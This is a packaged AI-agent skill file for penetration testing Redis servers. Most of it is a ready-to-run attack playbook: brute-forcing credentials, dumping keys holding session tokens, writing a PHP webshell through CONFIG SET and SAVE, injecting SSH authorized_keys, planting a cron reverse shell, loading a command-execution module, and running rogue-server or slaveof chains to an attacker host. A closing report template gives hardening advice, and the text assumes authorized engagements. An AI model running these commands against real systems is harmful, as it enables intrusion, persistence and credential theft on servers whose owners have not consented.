pentesting-redis

$npx mdskill add xalgord/xalgorix/pentesting-redis

- Default port `6379/tcp`; Redis is a **plain-text line protocol** (optionally TLS), so `nc` and `redis-cli` both work directly. - Banner/`nmap` shows `redis` and a version like `Redis key-value store 4.0.9`. - Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.

SKILL.md

.github/skills/pentesting-redisView on GitHub ↗
---
name: pentesting-redis
description: Testing Redis in-memory data stores (default port 6379) for unauthenticated access, weak AUTH credentials, keyspace dumping, and the high-impact RCE primitives - module load (system.exec), webshell/cron write via CONFIG SET dir + dbfilename + SAVE, SSH authorized_keys write, Lua sandbox escape CVEs, and master-slave replication abuse - during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- redis
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting Redis (port 6379)

## When to Use
- Default port `6379/tcp`; Redis is a **plain-text line protocol** (optionally TLS), so `nc` and `redis-cli` both work directly.
- Banner/`nmap` shows `redis` and a version like `Redis key-value store 4.0.9`.
- Use whenever 6379 is reachable — Redis is unauthenticated by default and frequently exposed without a firewall.

## Quick Enumeration
```bash
nmap --script redis-info -sV -p6379 <IP>
msfconsole -q -x 'use auxiliary/scanner/redis/redis_server; set RHOSTS <IP>; run; exit'

# Connect (text protocol)
nc -vn <IP> 6379
redis-cli -h <IP>            # apt-get install redis-tools
redis-cli -h <IP> info       # full instance info
```

## Critical: Checks Most Often Missed
- **Unauthenticated access** — the #1 miss. By default Redis needs no credentials; `info` returns instance data instead of `-NOAUTH Authentication required.`
  - How to CONFIRM: `redis-cli -h <IP> info` returns server stats. If `-NOAUTH` is returned, creds are required (`AUTH <user> <pass>`; reply `+OK` = valid). Only password configured → username is `default`.
- **CONFIG SET dir/dbfilename → webshell write** — repoint the RDB save path to a webroot, set a key to PHP, and `SAVE` to write a shell.
  - How to CONFIRM: `config set dir /var/www/html`, `config set dbfilename redis.php`, `set test "<?php system($_GET['c']);?>"`, `save`, then `http://<IP>/redis.php?c=id`.
- **SSH authorized_keys write** — write your public key into `~/.ssh/authorized_keys` of the redis (or another) user and log in.
  - How to CONFIRM: `config set dir /var/lib/redis/.ssh`, `config set dbfilename authorized_keys`, set a spaced key, `save`, then `ssh -i id_rsa redis@<IP>`.
- **Cron job write** — write a crontab entry to `/var/spool/cron/crontabs/` (Ubuntu) or `/var/spool/cron/` (CentOS) for a callback.
  - How to CONFIRM: set a key containing a `*/1 * * * * <rev shell>` line, `config set dir /var/spool/cron/crontabs/`, `config set dbfilename root`, `save`.
- **Module load → direct command exec** — `MODULE LOAD /path/mymodule.so` (RedisModules-ExecuteCommand) adds `system.exec`/`system.rev`.
  - How to CONFIRM: after upload+load, `system.exec "id"` returns `uid=0(root)`.
- **Lua sandbox escape CVEs** — Redis < 8.2.2 / 8.0.4 / 7.4.6 / 7.2.11 / 6.2.20 with Lua enabled: CVE-2025-49844 (parser UAF→RCE), CVE-2025-46817 (`unpack` overflow DoS), CVE-2025-46818 (metatable cross-user code exec); older CVE-2022-0543 (Debian Lua sandbox escape→RCE).
- **Master-slave replication abuse** — `slaveof <attacker> 6379` makes the target a replica you control (module-load RCE chains).

## Workflow

### Step 1: Enumerate
```bash
redis-cli -h <IP> info
redis-cli -h <IP> CONFIG GET '*'       # full config incl. dir, requirepass
redis-cli -h <IP> CONFIG GET dir       # run FIRST — exploits can change it
redis-cli -h <IP> INFO keyspace        # which databases (0..N) hold data
```

### Step 2: Authenticate (anonymous, AUTH, brute force)
```bash
redis-cli -h <IP>                      # try unauthenticated first
redis-cli -h <IP> -a <password> info   # password only (user = default)
# Inside a session if NOAUTH:
#   AUTH <username> <password>          -> +OK means valid
nmap --script redis-brute -p6379 <IP>
hydra -P passwords.txt redis://<IP>
nxc redis <IP> -u '' -p passwords.txt
```

### Step 3: Exploit / Extract (dump keys + RCE primitive)
```bash
# Dump the keyspace
redis-cli -h <IP> -n 1                 # select db 1
#   SELECT 1 ; KEYS * ; TYPE <key> ; GET <key> ; LRANGE <key> 0 -1 ; HGETALL <key> ; DUMP <key>
```
```bash
# Webshell write
redis-cli -h <IP>
> config set dir /usr/share/nginx/html
> config set dbfilename redis.php
> set test "<?php phpinfo(); ?>"
> save
```
```bash
# SSH key write
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
cat spaced_key.txt | redis-cli -h <IP> -x set ssh_key
redis-cli -h <IP> config set dir /var/lib/redis/.ssh
redis-cli -h <IP> config set dbfilename "authorized_keys"
redis-cli -h <IP> save
ssh -i ~/.ssh/id_rsa redis@<IP>
```
```bash
# Module load RCE
redis-cli -h <IP> MODULE LOAD /tmp/module.so
redis-cli -h <IP> MODULE LIST
redis-cli -h <IP> system.exec "id"
# Automated interactive/reverse shell (Redis <= 5.0.5)
./redis-rogue-server.py --rhost <IP> --lhost <ATTACKER>
```

### Step 4: Post-access / privilege escalation / pivot
- After a webshell/SSH/cron foothold, treat as host access — enumerate the redis user, sudo rights, and other local services.
- Master-slave: `redis-cli -h <IP> slaveof <attacker_IP> 6379`, then push keys/modules from your master to the target replica.
- Note `rename-command` may rename/disable `FLUSHDB`, `CONFIG`, etc.; check `CONFIG GET *` and try alternates.
- SSRF/CRLF reachability: if a web app reaches Redis (e.g. GitLab CVE chain), inject queue payloads for RCE.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **Unauthenticated default** | Redis accepts commands with no credentials unless `requirepass`/ACL configured. |
| **CONFIG SET dir + dbfilename + SAVE** | Repoint the RDB dump to any writable path to drop webshells, keys, or cron jobs. |
| **MODULE LOAD** | Loads a native `.so` exposing `system.exec`/`system.rev` for command execution. |
| **slaveof / replicaof** | Makes the target a replica of an attacker master, enabling payload push. |
| **Lua scripting (EVAL)** | Sandboxed Lua; sandbox-escape CVEs yield RCE on unpatched versions. |
| **rename-command** | Server-side renaming/removal of commands; may block CONFIG/FLUSH. |
| **Keyspace / databases** | Numbered DBs (0..N); `SELECT n` then `KEYS *` to dump. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **redis-cli / nc** | Native client and raw socket interaction with the text protocol. |
| **nmap NSE** | `redis-info` (instance details), `redis-brute` (credential brute). |
| **Metasploit** | `scanner/redis/redis_server`, `redis/redis_login`, `redis/file_upload`. |
| **netexec (nxc)** | `nxc redis <IP> ...` for auth checks/spraying. |
| **redis-rogue-server** | Automated module-load RCE / reverse shell (Redis <= 5.0.5). |
| **RedisModules-ExecuteCommand** | Compile the `.so` module exposing `system.exec`. |
| **redis-dump / redis-utils** | Bulk export of the keyspace (npm / python). |

## Common Scenarios
### Scenario 1: Unauth access → data theft
`redis-cli -h <IP> info` works with no password. `SELECT 1; KEYS *; GET <key>` dumps session tokens and cached credentials, immediately reusable elsewhere.

### Scenario 2: Unauth → webshell RCE
Redis is unauthenticated and a web root is writable. `config set dir /var/www/html; config set dbfilename x.php; set p "<?php system($_GET['c']);?>"; save` lands a shell; `x.php?c=id` returns `www-data`.

### Scenario 3: Unauth → SSH foothold
The redis user's home is writable. The tester writes their public key to `/var/lib/redis/.ssh/authorized_keys` via CONFIG+SAVE and logs in over SSH as `redis`.

## Output Format
```
## Redis Finding

**Service**: Redis
**Port**: 6379/tcp (Redis 4.0.9)
**Severity**: Critical
**Finding**: Unauthenticated Redis allowing webshell write (RCE)
**Evidence**:
  - `redis-cli -h <IP> info` returned server stats with no AUTH
  - config set dir /var/www/html; set p "<?php ...?>"; save -> file written
  - http://<IP>/p.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated access to all cached data plus remote code execution on the host.
**Recommendation**:
  1. Enable authentication (`requirepass` / ACL users) with a strong password.
  2. Bind to localhost or restrict 6379 by firewall; enable protected-mode.
  3. Disable/rename dangerous commands (CONFIG, MODULE, SLAVEOF, FLUSHALL) via rename-command.
  4. Run redis as an unprivileged user; patch to a current release to fix Lua RCE CVEs.
```

More from xalgord/xalgorix